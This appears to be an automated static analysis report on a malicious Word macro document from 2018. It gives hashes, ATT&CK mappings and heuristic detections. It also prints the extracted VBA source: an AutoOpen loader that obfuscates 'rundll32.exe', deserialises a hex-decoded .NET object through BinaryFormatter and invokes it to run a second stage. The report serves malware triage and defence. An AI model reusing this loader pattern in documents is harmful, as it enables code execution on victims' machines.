Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 255ec787977ba45d…

MALICIOUS

Office (OLE)

32.0 KB Created: 2018-02-16 21:19:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: 9997026dcb12bae48cbc40ad7f09cca2 SHA-1: 6ef42b074e92f753779a89a837e16dbfcce6a7ac SHA-256: 255ec787977ba45d0f8ae39982bbdc2838d16b48a516af78c236dc75f3f7e4ff
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate or Obfuscate Malicious Code

The sample is a malicious Office document containing a VBA macro. The AutoOpen subroutine triggers the LegitFunction, which decodes a hexadecimal string and uses CreateObject to instantiate an object. This object then executes 'rundll32.exe' with arguments derived from the decoded data, indicating it's designed to download and execute a second-stage payload. The ClamAV detection of 'Win.Countermeasure.G2JS_Script_Generic_1-9818937-0' further supports its malicious nature.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1141 bytes
SHA-256: 23a148933c74f661c28e62779eb8f0d380ed86073e61e9699f194b61bf7ac008
Detection
ClamAV: Win.Countermeasure.G2JS_Script_Generic_1-9818937-0
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LinesOfBusiness"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public binary As String
Public code As String

Function LegitFunction()
    
    Dim fdAsrir As String
    fdAsrir = "rundl"
    fdAsrir = fdAsrir & "l32.exe"

    

    Dim stm As Object, fmt As Object, al As Object
    Set stm = CreateObject("System.IO.MemoryStream")
    Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set al = CreateObject("System.Collections.ArrayList")

    Dim dec
    dec = decodeHex(ooyur)

    For Each i In dec
        stm.WriteByte i
    Next i

    stm.Position = 0

    Dim n As Object, d As Object, o As Object
    Set n = fmt.SurrogateSelector
    Set d = fmt.Deserialize_2(stm)
    al.Add n

    Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(oour)
    o.flame fdAsrir, fauurArs
End Function

Sub AutoOpen()
LegitFunction
End Sub

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